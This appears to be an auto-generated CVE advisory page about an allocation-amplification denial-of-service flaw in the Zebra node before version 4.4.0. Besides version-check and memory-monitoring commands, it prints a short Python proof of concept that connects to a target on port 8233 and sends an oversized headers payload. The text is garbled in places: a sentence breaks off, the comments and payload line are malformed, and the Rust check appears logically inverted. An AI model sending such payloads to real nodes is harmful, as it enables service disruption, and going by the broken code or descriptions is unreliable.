Listen to this Post
How the CVE works:
Zebra’s network deserializers used generic allocation ceilings instead of protocol-specific limits. The `TrustedPreallocate` path for `headers` messages allowed up to ~1,409 entries, while the send-side cap is 160 (8.8x gap). Equihash solutions deserialized as `Vec
dailycve form:
Platform: Zebra node
Version: All before 4.4.0
Vulnerability: Allocation amplification DoS
Severity: Moderate
date: 2026-05-08
Prediction: Expected patch 2026-05-15
What Undercode Say:
Check Zebra version
zebrad --version | grep -E "zebrad [0-9]+.[0-9]+.[0-9]+"
Monitor memory spikes from malicious peers
while true; do ps aux | grep zebrad | awk '{print $6}' | head -1; sleep 1; done
Simulate amplification detection (Rust snippet)
let max_headers = if peer.is_inbound() { 160 } else { 1409 };
assert!(counted_headers.len() <= max_headers);
Exploit:
PoC: Send headers message with count=1409 (pre-handshake)
import socket
s = socket.socket()
s.connect(("target", 8233))
Craft compactSize 0xFD 0x81 0x0B (1409) + dummy headers
payload = b"\xFD\x81\x0B" + b"\x00"1409128 each header ~128 bytes
s.send(payload)
Protection from this CVE:
Upgrade to Zebra 4.4.0 or later immediately. No workarounds exist. After upgrade, inbound deserializers enforce protocol ceilings before allocation: MAX_FIND_BLOCK_HEADERS_RESULTS=160, exact Equihash length, zero Sapling spends in coinbase, and coinbase script length 2-100 bytes.
Impact:
Denial of Service – An unauthenticated peer forces amplified per-message memory allocation and parsing cost. Multi-peer fan-in magnifies effect, potentially exhausting node RAM and CPU, causing crash or unresponsiveness. No data corruption or remote code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
